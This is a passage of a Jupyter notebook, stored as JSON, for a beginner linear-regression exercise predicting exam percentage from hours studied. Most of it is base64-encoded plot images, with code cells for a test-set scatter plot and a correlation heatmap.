RFxeYEzbAr8HdgTeAW4DvhIRs6px/rrp8XdQFK5QETE/Ih7Mnr8GzAQ2LjYqiOT1bPM92U/hPQBJmwAHAr8pOpZaJ2kdYBQwASAi3qmVpJ/ZG3i66KTfRn9goKT+wCDguYLj2Rr4e0QsiYhlwN3AZ6p18rpJ/LVO0ghgB+C+YiNJsiGVh0hlMyZHRC3E9XPgW0BL0YG0E8DtkqZLGlt0MJn3Ay8Cl2VDY7+RtGbRQbVxGHBl0UEARMS/gZ8Cc4H5wKsRcXuxUfEYMErSBpIGAQcAm1br5E78VSBpLeA64ISIWFx0PAARsTwitgc2AXbMvnoWRtIngQURMb3IODqwW0SMBPYHjsuGFYvWHxgJ/DoidgDeoEbWt8iGnT4NXFN0LADZgk8HAZsB7wPWlPSlImOKiJnA2cBk0jDPw8Cyap3fiT9n2Rj6dcCkiLi+6Hjay4YH7mLlRXOqbTfg09l4+u+BvST9ttiQkoh4LntcANxAGpct2jxgXptvateSPghqwf7AgxHxQtGBZPYBno2IFyNiKXA9sGvBMREREyJiZESMIg1TV2V8H5z4c5VdRJ0AzIyIc4uOp5WkoZIGZ88Hkv4wniwypoj4dkRsEhEjSMMEd0REob0yAElrZhfmyYZS9iN9TS9URDwP/EvSllnT3kChkwba+AI1MsyTmQvsLGlQ9je5N+l6W6EkbZg9NgGfpYq/s2pX58xNVhRuT2CIpHnA6RExodio2A34b+DRbDwd4DsRcWuBMQEMAyZmMy9WA66OiJqZPlljNgJuSPmC/sDvIuK2YkN619eBSdnQyjPAkQXHQzZevS8wruhYWkXEfZKuBR4kDafMoDbKN1wnaQNgKXBcRCys1onrZjqnmZlVxkM9ZmYNxonfzKzBOPGbmTUYJ34zswbjxG9m1mCc+K1PkvR6u+0jJF1QVDxZDHtK6vaNQZIul/S57PlvJG3TzXN6Kq51S93M4zfrDZL6RcTyHr59T1KF2L/19PwRcUxP32tWKff4re5IGi5piqRHssemrP3dnnW2/Xr2uGe2bsLvSDfbrSnplmy9gsckfb7MOb4h6YnsHL/PivB9GTgxq0X/sU7OJ0kXZO+/BdiwzT53SWrOnu8n6X8lPSjpmqzmE5I+oVSDfyrpjk+zbnGP3/qqgW3uhgZYH7gpe34BaV2GiZKOAs4HDu7ieDsC20bEs5L+C3guIg4EkLRumf1PBTaLiLclDY6IRZIuAl6PiJ9m7zu6g3N9BtgS+DDpzuAngEvb7iBpCPBdYJ+IeEPSKcBJks4BLgH2Av4JXNXFv8tsJe7xW1/1ZkRs3/oDfL/Na7sAv8ueXwHsXsHx7o+IZ7PnjwL7SDpb0sci4tUy+z9CKpfwJbpfVXEUcGVWIfU54I4y++wMbAPcm33AjQGGA1uRCo7NinTbfU0UsrO+xYnfGkFrXZJlZP/ns2Jdq7fZ5413d454Cvgo6QPgTEltP1RaHQj8KttverbAR3udna+rWikirZPQ+uG2TUS0foNwnRVbJU78Vo/+RqrwCTCatOwewGxSooZUn/095d4s6X3Akoj4LWkBj5HtXl8N2DQi7iQtHDMYWAt4DVi7za4dne+vwGHZYjjDgI+XCePvwG6SNs/OOUjSB0lVVDeT9IFsvy+U/xWYdcxj/FaPvgFcKulk0ipVrVUrLwFulHQ/MIU2vfx2Pgz8P0ktpMqJX2n3ej/gt9nYv4DzsjH+m4FrJR1EqpzZ0fluII3RPwo8RVp2r0REvCjpCOBKSWtkzd+NiKeUVgG7RdJLpA+1mlhj2voOV+c0M2swHuoxM2swTvxmZg3Gid/MrME48ZuZNRgnfjOzBuPEb2bWYJz4zcwazP8HdRc5x8rNyUAAAAAASUVORK5CYII=", - "text/plain": [ - "
" - ] - }, - "metadata": { - "needs_background": "light" - }, - "output_type": "display_data" - } - ], - "source": [ - "plt.scatter(X_test, y_test, color = 'red')\n", - "plt.plot(X_train, regressor.predict(X_train), color = 'blue')\n", - "plt.title('(Testing set)')\n", - "plt.xlabel('Hours studied')\n", - "plt.ylabel('Percentage Scored')\n", - "plt.show()" - ] - }, - { - "cell_type": "code", - "execution_count": 23, - "metadata": {}, - "outputs": [ - { - "data": { - "image/png": "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", - "text/plain": [ - "
" - ] - }, - "metadata": { - "needs_background": "light" - }, - "output_type": "display_data" - } - ], - "source": [ - "# Checking the correlations\n", - "plt.figure(figsize=(10,5))\n", - "sns.heatmap(df.corr(),annot=True,cmap=\"YlOrBr\",annot_kws={'fontsize':12})\n", - "plt.xticks(fontsize=12)\n", - "plt.yticks(fontsize=12)\n", - "plt.show()" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "# Visualizing the differences between actual Scores and predicted Scores" - ] - }, - { - "cell_type": "code", - "execution_count": 24, - "metadata": {}, - "outputs": [ - { - "data": { - "image/png": "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